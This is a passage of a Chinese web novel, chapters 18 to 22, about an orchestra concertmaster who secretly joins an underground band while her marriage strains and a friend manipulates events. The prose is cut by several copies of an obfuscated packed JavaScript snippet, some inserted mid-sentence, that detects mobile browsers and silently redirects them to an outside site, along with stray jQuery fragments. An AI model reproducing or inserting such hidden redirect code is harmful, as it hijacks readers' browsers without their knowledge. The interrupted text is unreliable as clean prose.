这间酒吧从来没有这么安静过,台下所有人都屏气凝神,望向舞台最边缘处,那个戴着面具、看不清面容的小提琴手。 连不多的议论,都压得很轻。 “这是谁?” “林珩从哪里找来这么厉害的小提琴手?” “刚才林珩是不是说她只拉这一首,真的假的?” 所有乐队里,最引人注目的是主唱,其次是吉他手,其他成员大多只能靠舞台动作来吸引观众的注意,这几乎是一个不争的事实。 但那个小提琴手,仅仅只是站在那里,紧闭着眼睛,似乎完全沉浸在一个只有她自己的世界。 却像一场盛夏的风暴,没人能从她身上移开视线。 是的,这首《假面》确实不错,对于不少顾客来说,他们之所以没有向老板投诉,把逃出人间赶走,就是为了有朝一日,再听他们演奏《假面》。 可他们之前有预料到,这首歌竟然如此有力吗? 歌曲进入了过度段,徐勿凡的嗓音平和了下来,高若涵一边弹着贝斯,一边为她和声,两种音色结合,丰富着这首歌的层次。 “我们浑浑噩噩做笑脸, 保持你我体面。 任它溃烂, 任它腐败。 当天放晴, 我们又互道早安, 戴上假面。” 陆照霜的琴声跟着平稳下来,内敛又坚实地托在了其他音色下面,并没有把这首《假面》变成她的独角戏,而是牢牢地紧守着这首歌应有的节奏。 然而,就像蝴蝶效应,一只蝴蝶的振翅,几乎带动着其他所有人的表现。 整支乐队眼里都闪动着灼灼眸光,演奏比以往更加精练、更加激动,就好像共享了同一片炽热的火。 就连逃出人间里一直被人诟病,最为木讷呆板的唐湾,今天敲鼓的动作都格外张扬炫技。 后台,在观众看不到的角落,郁思弦环抱双臂,微微歪头靠着墙壁,额前的发丝下,黑眸倒映出陆照霜的背影。 既像是欣慰,又像是怀念。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但是今天,我再醒来, 想清晨是夜晚, 想夜晚是白天, 我厌倦了体面, 丢掉假面, 丢掉假面!” 最后一弓拉完,陆照霜就好像从深潜的水底猛地浮起,全身都被汗水濡湿了,心脏还在为了刚才的那四分钟振动。 酒吧里先是安静了好一会儿,随即,掌声山呼海啸般响起。 这才是逃出人间的第一首歌,可整个场子却已经被彻底焐热。 “再来一遍!再来一遍!” “这还换什么人,再来一遍!” 林珩显然也被刚才的演奏撼动了,他胸口剧烈地起伏着,回头怔怔看着陆照霜,似乎还有点反应不过来。 但陆照霜只是紧紧抿着唇,朝台下深深地鞠了一躬,就转身朝后台走去。 郁思弦站在那里,身体重新站直。 等她走近,他低下头,静静看着她,“阿照,开心吗?” 无人看到的晦暗处,陆照霜抿紧的唇一点点松开。 “嗯,”她看着郁思弦的眼睛,不知为何,忽然有种想哭的冲突,“开心,真的好开心。” 19. 第 19 章 今天是陆照霜的两周年结婚纪念日,可一整天下来,她最快乐的一刻,却与她的婚姻、与萧烨、甚至与她一切熟知的工作和生活毫无关系。 这里只有喧嚣与吵闹、颓败与烈酒、叛逆与张扬。 一切都是陌生的,她却在情不自禁为此悸动,她原来是这样的人吗? 镇定了一下心绪,陆照霜把小提琴交还给杜骅,再次向他道谢。 “喔喔,没事,没事。”杜骅沉浸在刚才的巨大冲击中,同手同脚地走上舞台。 台下因为换人而不满的观众,看到这一幕也被逗乐了。 林珩眯起眼睛又看她一眼,才转了回去,重新组织起接下来的演奏。 牧衡活动了一下手腕,笑着向陆照霜伸出手,“你好,陆小姐,我是牧衡,这间酒吧的老板,也是思弦的朋友。” “你好。”陆照霜同他握了下手。 感觉自从见过了林珩,不管是谁自称郁思弦的朋友,她都不会觉得奇怪了。 牧衡提议:“我们不如去前面看?” 郁思弦自然没什么意见,征询的目光落在陆照霜身上。 “好。”陆照霜点点头,视线还止不住地往台上飘。 三人回到前面的吧台,牧衡主动接过调酒师的工作,笑眯眯问:“陆小姐,‘黄粱一梦’想不想试试?” 郁思弦警告地瞥了他一眼。 牧衡无辜摊开手。 陆照霜犹豫了一下,“还是那杯‘醉浮生’吧。” 牧衡一脸遗憾,但还是照办。 这位陆小姐接过酒后,就一直盯着舞台,眼里有种少年人常有的光彩和专注,根本没察觉周围偷偷打量她的目光,很偶尔才会机械地尝一口酒。 牧衡怀疑,就算他偷偷把“黄粱一梦”塞给她,她恐怕也不会发觉。 她的心思显然还沉浸在刚才的那场演奏里。 郁思弦就坐在她旁边,手肘搭着卡座,很放松舒展的姿态,和她一样面向舞台的方向。 但每当他端起酒杯,目光就会很轻地从她脸上拂过,神情是牧衡从未见过的温情。 与其说他看的是舞台,不如说他看的是看着舞台的陆照霜。 这一刻,牧衡突然懂得了,为什么郁思弦方才要站在舞台后面。 因为只有站在她身后,他才可以肆无忌惮地看着她。 牧衡倚着吧台,打量着这两人,真是新奇极了,像郁思弦这种对世事淡薄的人,竟然会喜欢这种格外热衷某些事物的人。 后面的整场演奏都乏善可陈。 不只是观众,逃出人间的乐队成员们,显然也适应不了小提琴手更换的巨大落差,注意力很难集中,连林珩这种演奏精密的人,都出了好几次错。 几乎是演出一结束,林珩就带着乐队成员们飞奔过来。 “姐姐你小提琴拉得好厉害!”高若涵不复初见那天的胆怯,搓着手,难掩兴奋。 林珩显然还惦记着演出前的那段争执,摸了摸鼻子,有点不自在,“好吧,抱歉,陆小姐,是我之前判断失误,你确实拉得不错,我——” 他话还没说完,杜骅忽然一拍脑袋,恍然大悟一样大声叫道:“哦哦哦!我想起来了!姐姐你不是申城交响乐团的首席吗?我就说怎么看你这么眼熟,上次我还去听过你们的音乐会呢!” 首什么席? 林珩顿时把后面没说完的“同意你加入我们乐队”吞进了喉咙里,惊恐瞪圆了眼睛,从杜骅看到陆照霜,又从陆照霜看到杜骅,希望是他听错了。 高若涵和唐湾也愣在了当场,只有徐勿凡坐在椅子上跟牧衡要了杯酒,不意外也不好奇,事不关己的模样。 但就算林珩没说出来,陆照霜也听懂了林珩的意思,她眼睫轻颤,低声道:“抱歉。” 林珩手臂上青筋暴起。 哈?原来如此。 人家乐团首席来帮他们拉小提琴,难怪能拉出这种效果,但人家乐团首席又怎么可能放着大好前程不要,来加入他们这个小破乐队? 难怪,难怪,他演出前提议结束后再聊,这家伙一句话没回,感情人家就是来玩一场的,根本没有以后。 林珩活像吞了一只苍蝇,神情难看极了,“哦,那我真是太荣幸了,能和首席小姐共演一场,感谢您今天的赏脸,我就不奉陪了。” 说完,他一头扎进了后台,只给众人留下一个气鼓鼓的后脑。 高若涵有点不知所措,陆照霜不能加入确实让她有点失落,但刚才那一曲是她从未体会过的,她已经很满足了。 可她也知道,队长对乐队的看重程度,和他们是不一样的,她没法去劝队长。 唐湾作为年过三十的老职场人,连忙出来打圆场,“陆小姐,小林他就这个脾气,平时对我们也经常这样,但他没有别的恶意,你别介意。” “没事,本来就是我考虑不周。”陆照霜垂下眼。 在开场前,她之所以没有用自己的首席身份来说服林珩,就是怕他会觉得被羞辱……但最后果然还是这样了。 “我去跟他道个歉吧。”她手掌攥紧,干脆站起身。 郁思弦伸手把她按住,“没事,我去跟他聊。” 陆照霜一愣,就见郁思弦安抚地朝她笑了笑,然后转身进了后台。 还留在这里的人,只有徐勿凡轻松闲适,其他人都有些尴尬地径自玩起了手机。 陆照霜僵在原地,心神不宁。 “陆小姐,思弦你还不了解吗,交给他会没事的。”牧衡宽慰她。 陆照霜当然不是不放心郁思弦,但仍旧有种自己犯了错的局促感。 牧衡打量她片刻,忽然道:“陆小姐,你知道我为什么给这间酒吧起名叫‘搁浅’吗?” 陆照霜的注意力被拉了回来,很意外地抬眼看他,没想到,这个名字竟然是牧衡亲自起的。 看起来一点也不像。 这间酒吧从装潢风格到顾客群体,都透着一股颓丧气质,而牧衡本人却给人一种充满余裕的精英感。 牧衡手上调着酒,徐徐道:“大家总喜欢把人生分为顺境和逆境,但我觉得其实还有另一种状态。” “你对生活称不上满意,但也还能过得去;你可以前进,也可以后退。你被困在这个浅滩里,随波逐流,还不清楚自己到底该怎么办。” “我把这种状态叫做‘搁浅’。” 陆照霜心中微动,陡然明白了这间酒吧为什么会给她颓丧的印象,因为它容纳着很多人不够如意的懊丧。 兴许也包括她。 浅淡的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861648|176058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝色融碎在酒杯里,像一尾桎梏住的鱼,被轻轻推到她面前。 牧衡微笑,“也是这杯酒的名字。我很多年没有调过了,陆小姐可以尝尝。” * 后台休息室内。 郁思弦背靠着门,盯着一脸暴躁的林珩,“你在生什么气?你们本来就缺小提琴手,雇来的那个学生水平也很一般,阿照让你们的演出更精彩了,你没有理由怨她。” 林珩终于按捺不住,冲过去抓住了郁思弦的领口,咬牙切齿,“别装傻!你知道你对我们做了多糟糕的事吗?” 由奢入俭难,人最受不了的就是落差。 他带着那么一个人过来,转头拍拍衣服离开,叫他们接下来还怎么找下一个队员? 郁思弦垂眸看着他,轻笑了声:“你对你们乐队这么没信心?” 林珩一愣。 郁思弦伸手把他推开,慢条斯理地整着自己的衣服,“半个月前,我带她过来听了一次你们的演出,只那一次,她就能完美复刻出你们的那首曲子,你觉得是为什么?” 林珩有点恍然,“你是说……” 郁思弦意味深长,“林珩,你或许觉得她对你们的吸引力很大,但你们对她来说也是一样。” 林珩感觉自己刚才已经熄灭的那个念头重新被点燃。 但他仍旧保持警惕,眯眼打量着面前这个泰然自若、好像预料到一切的男人,“我怎么觉得……你像是在利用我?” 郁思弦微微歪头,笑了笑,“是这样吗?” 林珩知道他是得不到任何答案了,咬了咬牙,又问:“你好像从一开始就很确定,她会对我们有兴趣。不是我妄自菲薄,但我们和乐团首席比起来,差得有些太远了吧。” 郁思弦沉默片刻,“你觉得人会忘记过去的自己吗?” “看情况吧,我十几岁那个人厌狗嫌的时候,我恨不能当场失忆。好吧……这是个玩笑,谁会忘记自己呢?” 郁思弦笑了笑,目光穿过林珩,像是落在很远的地方,有点微微失焦。 “对,我赌的就是这一点。” * 那杯“搁浅”还没有喝完,陆照霜就看到林珩和郁思弦走了出来。 不知道郁思弦说了什么,林珩整个人就像戴了紧箍咒的孙悟空,平静到都有些吓人了。 陆照霜抚了抚身上的裙子,忐忑地站起身,看着林珩一步步走近,心脏突突直跳,准备迎接林珩的发难。 然而林珩开口时,却堪称彬彬有礼,“陆小姐,既然你对我们的演出也不抵触,你要不要考虑来当我们的支援乐手?” 陆照霜双眼蓦然睁大。 林珩又补充了一个期限,“就到我们找到正式队员为止。” 高若涵和唐湾都有点惊悚,这人是谁,还是他们的刺头队长吗? 徐勿凡则像是来了兴致,好奇地看了好几眼。 陆照霜顿时心乱如麻。 她晚了整整五年,才终于成为首席,这她当然不可能放弃,可不过是支援乐手,帮他们一阵忙而已,应该也没关系吧? 她下意识望向郁思弦。 郁思弦站在林珩身后,和她保持着一段距离,像是不打算干涉她的任何决定,“阿照,我说过,这件事全凭你的意愿。” 20. 第 20 章 陆照霜分外动摇,只剩下最后一丝理智,“但音乐会的时间可能会有冲突。” 林珩像是早就预料到这个问题,镇定道:“你们音乐会会提前放票,到时候通知我就好了,我会再另外雇人。” 牧衡也不紧不慢地插了一句,“如果实在有意外,我这边也可以帮忙岔开时间。” 会发生这样的事吗?好像全世界都在为她的叛逆而大开绿灯,简直像撒旦的陷阱。 可她想,凡人终究无法抵御金苹果的诱惑。 她盯着林珩,深深呼了口气,“好,就到你们找到正式队员为止。” “真的假的?”高若涵惊呼,简直有点不敢相信,就这么成了?像今天那样的演出,她还能再享受好多次。 “咳咳!”林珩狠狠咳嗽了两声,给高若涵飞去一个眼神,示意她不要显得他们乐队太没见过世面。 总之,他掏出手机,把微信二维码展示给陆照霜看,“那先加个微信,完了我把我们的曲谱发给你。” “……我没带手机。” 郁思弦及时开口:“我回去把林珩微信推给你。” 林珩这才止住了他们两在联手耍他的怀疑,“也行。” 这时,郁思弦手机微微震动一下,萧烨发来新消息:【思弦,你有没有看到阿霜?】 他只看了一眼,便将手机收了回去,没有回复,只是轻声从旁提醒,“阿照,时间不早了,我们回去吧。” “那我们结束了以后在微信上聊吧。”陆照霜恋恋不舍地和林珩他们告别。 “OK.”林珩随意朝她摆摆手,就转头拉着他的队员们一起商量之后的事了。 再一次从搁浅酒吧推门而出,所有的喧闹热烈都被门隔住,过滤得有些失真,属于街道的车流声重新回来,将她带回现实。 灰姑娘的魔法会在午夜12点失效,她也是。 不知道当灰姑娘从城堡里逃出去的时候,会不会跟她现在是一样的心情呢? 怅然若失间,陆照霜没注意脚下,险些一脚踩空。 幸而郁思弦一把攥住了她的手腕,稳住了她的身体。 陆照霜抬头去看他的眼睛,忽然问:“你是不是一开始就知道,我其实根本没法拒绝这里?” “是。”郁思弦还没有自信到,会以为在发生这一切后,陆照霜还能一无所觉。 “还记得在我家包扎伤口的那天吗?你说你只有两个选择。” 陆照霜一瞬被带回那个和父亲萧烨争执过后的慌张夜晚。 那天他说,她总有一天会发现另一个选择。 郁思弦扶着陆照霜站好,然后松开攥着她的手,迟来地回答当时她的问题:“阿照,你当然还有另一个选择——站在你自己这边。” 陆照霜怔住,久久无法作声。 她身后,那扇属于地下酒吧的门被隐匿在暧昧黯淡的影子里,只从最底下泄露出一点属于内部的光晕。 宛如一条通向荒野的岔道,开在了她那一眼望得到头的人生轨迹上,像唆使、像引诱。 …… 出租车开回到家门口,陆照霜跟郁思弦告别过后,就转身进了家门。 从外面看,里面的灯没有亮,她理所当然地以为萧烨还没有回家。 然而一推门,却在客厅中间,望见一点猩红的影子,淡淡的烟味跟着飘到了鼻尖。 陆照霜愣了一下,打开灯。 萧烨双腿交叠,弓身坐在沙发上,指间别着一根徐徐燃烧的香烟,朝她看过来,气压很低。 陆照霜知道萧烨其实从不抽烟,不为别的,只是因为他讨厌任何可以控制他的瘾。 那他现在这是在做什么? 萧烨打量她两眼,没什么情绪地问:“回来了?思弦送你回来的?干什么去了?” 陆照霜指尖颤了下。 想到今晚一切让她感到兴奋和刺激的东西,放在萧烨眼里,恐怕都只是用来嘲讽她不知轻重、肆意妄为的把柄。 她就淡淡地答了一声,“没什么。没带手机,请思弦帮了个忙而已。” 她弯腰去换鞋子,感觉非常讽刺,他们如今的关系,竟然已经到了连喜悦也无法分享的程度了。 刚一直起腰,萧烨已经走到了她面前,身体压下来。 “没什么?”萧烨讽刺地勾起唇角,手搭在玄关柜子上,几乎是一个将她困住的姿态。 他低下头,在她颈边轻轻一嗅,“好浓的酒味,这叫没什么?要不我干脆去问思弦你干什么去了。” 说着,他伸手打开了手机通讯录。 陆照霜眉头蹙起,按住他的手,“别扯到思弦身上,你和我都够麻烦他的了。” 萧烨本也是作势吓吓她,没再坚持,“你这时候知道不麻烦别人了?知道你今天甩手走了以后,我为了给你收拾烂摊子费了多大的劲吗?” “收拾烂摊子?” 听到这句话的时候,陆照霜首先想起的,却是郁思弦今天说的那句,“在你真的做好准备之前,帮你善后就是我的责任。” 在她草率又不计后果的时候,为她戴上面具的郁思弦,在林珩生气离开后,去劝慰林珩的郁思弦。 好像这才称得上是收拾烂摊子吧。 她觉得好笑极了,语气也跟着冷下来。 “萧烨,我本来是在好好配合你的。你一声招呼也不打,就给我戴那条项链,我忍下了,没有落你的面子。我也非常非常讨厌和今天那对夫妻吃饭,但我忍住了,因为我知道那是你的生意伙伴。” “如果不是你非要故意招惹我,我本来会忍到最后的,萧烨。” 他们俩此刻挨得这么近,以至于那种针尖对麦芒的锋利感,几乎要从彼此眼中喷薄而出。 萧烨嗤笑了一声,“那这么说全怪我了。” 陆照霜警惕地看着他,“你不会又想把最开始那件事搬出来说吧?是,萧烨,我是有私心,可也不是我拿刀架在你脖子上,逼你去领证的。” 萧烨眼睛微微眯起,紧紧盯着她。 清晰地感觉到,不过是在眼前弄丢了几个小时,有什么东西却已经不一样了,正在脱离他的掌控。 他的手从柜子挪到她肩上,然而还未等他进一步动作,手机屏幕忽然一亮。 萧烨无意识地瞥了一眼,下一秒,整个人都跟着僵住,像是陷入了一片迷失的沼泽。 陆照霜趁机甩开他的手,头也不回地上了楼。 玄关处,只剩下萧烨怔怔看着屏幕上跳出的微博推送。 @榕树是好运:回国第一战,入职成功!确定回母校任教了! 配图是申城大学机械与自动化学院的大门, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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排练房位置很偏,在近郊一个废旧厂区改造的音乐综合体,她开了一个小时的车才到,但胜在租金便宜。 推门进去,灯亮着,林珩一个人抱着吉他,盘腿坐在地板上,地面上密密麻麻铺满了写到一半的曲子。 听到声,他抬起头,好像也不意外,淡淡来了声:“你来了?” “嗯,”陆照霜把琴盒放到一边,俯身拾起他落在地上的草稿,“曲子写得很不顺利?” 林珩疲倦地“嗯”了声,便低下头继续拨弄他的吉他,只给她留下一个倔强的刺猬头,身上的T恤也皱巴巴的,不知道在这里泡了多久。 陆照霜认识林珩越久,就越偏离林珩最初留给她的印象。 逃出人间的词曲全由林珩一手包揽,但他显然不是灵感源源不断的那种天才,他只是很会投入时间。 除了打一些琐碎零工维持最基本的生存,他剩下的全部时间都投入了乐队里,哪怕这个乐队长久以来,都没有任何能爆火的痕迹,却还是一往无前、不留容错。 陆照霜抓着那些意味着徒劳的废稿,几乎是喃喃自语:“林珩,你都不会……怀疑自己吗?” 怀疑自己的选择是否正确、怀疑自己是否只是徒劳无功、怀疑自己付出的时间是否有意义,就像现在的她一样。 林珩抬头,打量她两眼,却是镇定反问:“怎么,你有很多后悔的事吗?” 21. 第 21 章 “后悔吗……”这种问题,陆照霜曾经很多次抵触过,也逃避过。 但兴许是因为,林珩对她来说还是个不太熟的生人,不知道她的过去,也无从知晓她犯过的那些蠢事。 所以陆照霜此刻比她预想中要平静得多。 她歪着脑袋,轻声说:“我不知道,可能还是我不够努力吧,不然就不该有后悔的事了。” “噢,”林珩若有所思地点点头,随即挑眉看她,“你把谁的价值观套到了你身上?一点都不适合你。” 陆照霜一愣,抬头时,“你怎么知道”这几个字已经写在了脸上。 林珩懒洋洋道:“再简单不过了,说这种毒鸡汤的人,一定是对别人、对自己要求都特别高、特别强势的那种人,而你嘛……” 他抬眼,毫无顾忌地上下打量她,一点也不客气地评价道:“外强中干、瞻前顾后、优柔寡断、总看人眼色——” “等等,”陆照霜忍无可忍地打断他,睁大了眼,不敢置信,“在你眼里,我原来是这么无可救药的人吗?” “是啊。”林珩摊开手承认。 陆照霜简直要炸毛了。 “但换个角度,”林珩又慢悠悠道:“也可以说你责任心强、体贴入微、乐于牺牲嘛,我是不觉得这算缺点,纯看你自己高不高兴了,不过……” 他托着下巴,幸灾乐祸看她:“我看你的表现,好像也不见得真有多喜欢嘛。” 陆照霜怔怔地张了张嘴,最终却什么也没说,默默把头低了下去,像只刺猬一样把自己重新缩起来。 林珩翻了个白眼,也没有扮演人生导师的意愿,右手拨片在吉他上唰的一扫,铮铮琴声在寂静的房间里荡开,一举扫净他眼里原本的倦意。 “不知道思弦有没有跟你说过,大学我组过一个乐队,挣不了什么钱,一毕业大家就默认散伙,我不是没试过,跟大家一样去规规矩矩上班,但没办法,忍不了就是忍不了。” 他抬手揉了揉自己的耳钉,“辞职报告一递,我就去打了这几个耳钉,虽然挺疼,但也够痛快。” 陆照霜不难想象,以林珩的性格,要把他按在写字楼里应付正常的职场生活,会有多别扭。 她看着他左耳那五个不规则的、炫目张扬的耳钉,赞了一句,“很漂亮。” 林珩诧异看她,像是没料到她会这么说,但心里又十分满意,唇角按捺不住地勾起来。 “所以,什么怀疑、后悔、对不对错不错的,管它呢,我懒得想。我爸妈骂我,那我就搬出去自己住,只要我还有一天活着,我就只想死在那个舞台上。” 固执己见、桀骜不驯、不服管教。 陆照霜从胸腔里呼出一口被灼烧的气。 真是,与她完全不同的人。 林珩坐在郊区偏僻简陋的排练室,怀抱着他虚幻的梦想,只有一把电吉他、皱巴巴的廉价衣服、眼底熬出的青紫陪着他,却像是坐上了某个王座一样愉悦。 世界上有很多这种人,最后被梦想击沉的是大多数。 但陆照霜不希望看到这样的人,有一天被迫低头折腰的模样。 她抓起地上的草稿,一点点仔细抚平,然后站起身,坐到了另一边的钢琴前,打开琴盖,“哪里有问题?弹给我听。” 林珩看着她坐在钢琴前优雅挺直的背影,跟要开个钢琴独奏会似的,摸不准她什么意思。 但他还是依言给她弹了一遍,在滞涩处停下,“感觉这一块有点太平庸了。” 陆照霜闭着眼睛,手指在腿上轻轻敲着刚才的节拍,附和道:“确实。” 她点评得倒真不客气,林珩又翻了个白眼。 “那这样呢?”陆照霜说着,手指按上琴键。 刚才的那半首曲子从钢琴中流淌而出,虽然经过简化,但当真大差不差。 林珩神情微变。 上次看她能复刻他们的《假面》,他就已经有所预感,可现场看到她这个记谱的能力,也还是觉得有点太变态了吧? 但很快,他就顾不上惊讶了。 钢琴声在接近那段滞涩处的地方,却忽然变换了旋律,如同溪流在山间低回婉转,然后在越过一道山崖时,急促地奔流而出,豁然开朗。 陆照霜双手离开琴键,回头看他,“现在怎么样?” 林珩手上抓着笔,正毫无形象地俯趴在地上奋笔疾书,头也不抬地对她说:“再来一遍!” 这画面实在有些伤眼,陆照霜默默挪开视线,“……好。” 没多久,排练房里就只剩下林珩兴奋的声音。 “那里降个调试试?” “这里不太行啊,等等啊,你听听我改这里怎么样?” …… 不知过去了多久,陆照霜感觉自己都要虚脱了。 倒不是累,平时一场音乐会下来,远比这累得多。 是热,这个排练房没有空调,也不怎么透风,她宛如蒸了一遍桑拿,后背都被汗水浸透了。 林珩这才满意地大叫:“成了成了!” 陆照霜此时已提不起附和他的兴致,抬手抹了把汗,虚弱地说:“嗯……恭喜你。” “什么叫恭喜我?这叫恭喜我们!” 陆照霜一怔,就见林珩大笔一挥,在他刚誊抄好的曲谱上写下了“作曲:林珩、陆照霜”的字样。 她目光久久停留在那几个字上,迟疑问:“还要算上我吗?” “当然,这曲子有你一半功劳啊,合作愉快!等以后我们的曲子大卖,版权费还得分你呢!”林珩眉梢眼角根本藏不住笑意,凑过来跟她击了个掌。 他想得可真够远的。 从今天起,世界上突然莫名其妙,多了一首署着“陆照霜”名字的曲子,还背上了大卖的期望,真是魔幻。 陆照霜明明很清楚,这个纯粹的妄想有多遥不可及,却还是不自觉地弯起了唇角。 不忍扫他的兴,她玩笑般接了句:“好吧,到时候我会把银行卡号发你的。” “这么晚还没回去?”熟悉的声音忽从门口传来。 陆照霜下意识转头望去。 郁思弦不知什么时候来的,倚着门框,目光从他们刚刚击掌的手上移开,落在她脸上。 陆照霜觉得那视线莫名淡得出奇。 但林珩显然没发觉,兴致勃勃抱起吉他,“思弦,好消息!我们刚写了首新曲子,我弹给你听。” 郁思弦垂眼一笑,却是不容置喙的意思,“有点晚了,下次吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861650|176058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那好吧,等我写好词再给你听。”林珩语气里充满遗憾。 陆照霜都听得有点不忍心了,郁思弦却对此视若无睹,微笑着看向她,“阿照,还不回家吗?” 陆照霜看了眼腕表,竟然已经接近零点了。 想到明天还要参加乐团排练,她连忙起身,拿起自己的东西,跟林珩道别。 林珩冲他们两摆摆手,“你们先走吧,我还得待会。” 陆照霜和郁思弦一起下楼,他照旧体贴地帮她拿过琴盒,却一言不发。 只在她走向自己的车时,开口阻止:“阿照,你今天熬得有点久了,别疲劳驾驶,我送你回去吧,你的车我明天让人开回去。” 陆照霜觉得有道理,也就没有拒绝,跟着郁思弦上了车。 狭窄的车内,沉默就格外突兀。 郁思弦不算非常健谈的人,但陆照霜总觉得,他今天的气压低得有些不同寻常。 “思弦,今天碰到什么烦心事了吗?”她关心道。 郁思弦一顿,语气有些生硬,“没有……是我自作自受。” 最后那句低不可闻,陆照霜没听清,“什么?” “没什么,”郁思弦微微一笑,握着方向盘,像只是随口一问:“你好像和林珩很合得来。” 陆照霜眼睛睁大,想起林珩那副自行其是的模样,就忍不住吐槽:“真的会有跟林珩合得来的人吗?” 那得多有忍耐力啊。 “不过……”她又犹豫了一下。 刚才在排练房的那几个小时,虽然热到崩溃,被林珩折磨得超级疲惫,却是她这段时间最轻松自在的时候。 忘记了萧烨那晚的故意捉弄,忘记了和萧烨的冷战,忘记了在乐团内的所有不睦。 正因为与她的人生迥然不同,所以,哪怕只是旁观,都如同陷进一个漩涡,短暂眩晕间,仿佛自己也从现实中挣脱出去了一样。 她手肘撑在车窗边上,视线别向窗外,“我确实不讨厌他这种人就是了。” 郁思弦握着方向盘的指骨一瞬间紧到泛白。 他当然预料到了这支乐队对陆照霜的吸引力,才特意牵线把他们拉到一起。 但想到,刚才在排练房里看到她生动的神情。 那种憧憬、向往和喜悦,从来不会对着郁思弦。 从过去的萧烨,到现在的林珩,她好像总是被这样鲜活浓烈的人吸引。 而郁思弦从来不会走进她的眼里。 他心口泛起密密麻麻的刺痛,偏头看去,就见到她侧脸上微翘的唇角。 他跟着一笑,却是自嘲。 可怎么办呢,阿照?这一次,哪怕你不愿意,我也没法放手了。 他这么想着,强迫自己将盯着她的执着目光重新敛起。 车在陆照霜家门口停好,郁思弦状似不经意般提议:“我想在节目开始前确认他们的状态,所以阿照,下次去排练的时候,也叫上我吧。” 面前的女孩对他的所有算计一无所觉,下车前,还很担心地问:“可排练很花时间的,你不会很忙吗?” “最近比较有空,”郁思弦轻描淡写地将此带过,尽量让自己的语气显得诚恳,又重复了一遍,“可以吗,阿照?” 22. 第 22 章 不知道是不是陆照霜的错觉,她总觉得郁思弦此刻的表情里,有种哄骗的意味。 不过这怎么可能呢? 她磕磕巴巴地回了一句,“那,那你要是不忙的话,下次我们就一起过去吧。” 郁思弦长睫下这才闪过一丝笑意,“那下次见,阿照。” “下次见。”目送郁思弦离开后,陆照霜转头进了家门。 不知道萧烨是出差、加班,亦或是特意躲着她?家里空无一人。 那种在外面短暂浮起的、云层一般轻飘飘的愉悦,被从四面八方伸过来的无形暗线拉扯着坠了下去。 她面无表情地静默片刻,一步一步,走回自己的卧室。 * 申城大学,机械与自动化学院的会议室内。 女人穿着浅棕色西装套,手握激光笔做着汇报。 屏幕上的PPT显然是赶工出来的,十分简单粗暴,但女人面不改色、侃侃而谈,丝毫不受影响,完美地结束了这段演讲。 “对于这套算法,还有什么不够清晰的地方吗?” 她微笑着,将目光投向众人。更准确的说,是投向了坐在会议桌最后,那个托着下巴,俊朗又漫不经心的男人。 萧烨懒洋洋地靠进椅背,抬手鼓了个掌,“没什么问题了,白老师讲得很好。” 顿了顿,他意味深长地又添了一句,“我看再没有比白老师更会讲道理的人了。” 白斯榕指尖蜷了下,面上回以得体的笑意,“那就谢谢萧总的称赞了。” 另一边的副院长丝毫没发觉异样,抬手抹了把汗。 好险,他们这个校企合作的项目推进了很久,一直没有进展,但就在前几天,萧氏忽然表示出接洽的意图,还提出要来参观。 项目的上一个负责人已经离职,新负责人是他们刚从国外挖回来的白斯榕,可以说各方面都还在交接熟悉的阶段,他们被打了个措手不及。 幸好白斯榕临危受命,完美接住了这个考验,看来,接下来的事应该有戏。 副院长笑呵呵看向萧烨,“那萧总,您考虑得怎么样?” 萧烨垂眸沉思片刻,回答:“可以,具体的细则,我之后会派人过来对接。” 眼见着研究经费即将到手,副院长大喜过望,张罗着就要邀请萧烨共进午餐。 萧烨客气地笑了下,语气却是没什么商量的意思,“这就不必了,之后公司还有些事要处理。” “啊……好的。”副院长讪讪道。 “不过,”萧烨抬眼看着副院长,指尖在桌上漫不经心地轻点着,“贵方的负责人是哪位?如果之后项目遇到问题,我希望能得到最准确的答案。” 副院长连忙朝白斯榕使了个眼色,“白老师。” 白斯榕站在原地,胸口短暂地起伏了下,才起身走近,将自己的名片递过来,眼观鼻鼻观心地回答:“萧总有任何问题,都可以来问我。” 萧烨视线从那张名片上很快掠过,示意自己的秘书收起来,对白斯榕微笑道:“那想必,白老师应该不会拒绝我的电话吧?” 白斯榕这才抬头,和萧烨对上视线,几乎有点无可奈何,“当然。” 送走萧烨后,副院长等人嘱咐了几句也离开了。 会议室重新寂静下来,白斯榕疲惫地坐进椅子里。 同事长呼出口气,扑过来担心地看着白斯榕,“白老师你没事吧,我怎么感觉那个萧总,好像有点……针对你呢?” 白斯榕听出她的言外之意,揉着太阳穴笑了笑,“不是那么回事,他不是那种人。” 这话里的熟稔意味,让同事微微一怔,“你们认识?” “他曾经,是我的学生。” “啊?你也没比他大几岁吧?” 